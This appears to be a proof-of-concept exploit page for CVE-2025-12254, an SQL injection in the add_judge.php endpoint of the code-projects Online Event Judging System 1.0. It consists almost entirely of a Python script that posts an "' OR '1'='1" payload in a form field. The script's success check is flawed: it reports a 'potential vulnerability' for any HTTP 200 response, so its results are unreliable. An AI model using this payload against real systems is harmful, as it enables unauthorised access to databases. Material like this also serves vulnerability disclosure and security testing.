CVE-2025-12254: code-projects Online Event Judging System SQL注入漏洞

import requests import sys # CVE-2025-12254 SQL Injection PoC # Target: code-projects Online Event Judging System 1.0 # Endpoint: /add_judge.php target_url = "http://target.com/add_judge.php" # Basic SQL Injection payload for testing payload = "' OR '1'='1" data = { 'fullname': payload, 'username': 'test', 'email': '[email protected]', 'password': 'test123' } print(f"[*] Testing CVE-2025-12254 on {target_url}") print(f"[*] Payload: {payload}") try: response = requests.post(target_url, data=data, timeout=10) print(f"[*] Response Status: {response.status_code}") if 'error' not in response.text.lower() or response.status_code == 200: print("[+] Potential vulnerability detected") print("[+] Further testing with time-based blind SQL injection recommended") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") sys.exit(1)